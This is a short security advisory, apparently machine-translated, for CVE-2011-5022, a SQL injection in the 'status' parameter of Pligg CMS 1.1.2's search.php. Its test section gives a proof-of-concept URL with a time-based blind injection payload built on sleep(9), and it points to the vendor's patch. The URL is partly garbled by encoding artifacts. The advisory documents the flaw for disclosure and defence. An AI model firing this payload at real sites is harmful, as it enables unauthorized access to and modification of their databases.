Pligg CMS 'status' parameter SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
Pligg CMS 1.1.2
Description:
--------------------------------------------------------------------------------
Bugtraq id: 51273
CVE (CAN) ID: CVE-2011-5022

Pligg is an open-source content management system that can be downloaded for free.

Pligg CMS 1.1.2 and other versions have the SQL injection vulnerability, which allows remote attackers to control applications, access or modify data.

<* Source: Sitewatch
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Http://www.example.com/Audits/CMS/pligg_1.1.2/search.php? Adv = 1 & amp; status = & #39; and + sleep (9) or + sleep (9) or

+ 1% 3D & #39; & amp; search = on & amp; advancesearch = Search

+ & Amp; sgroup = on & amp; stags = 0 & amp; slink = on & amp; scategory = on & amp; scomments = 0 & amp; SUSEr = 0

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Pligg
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.pligg.com/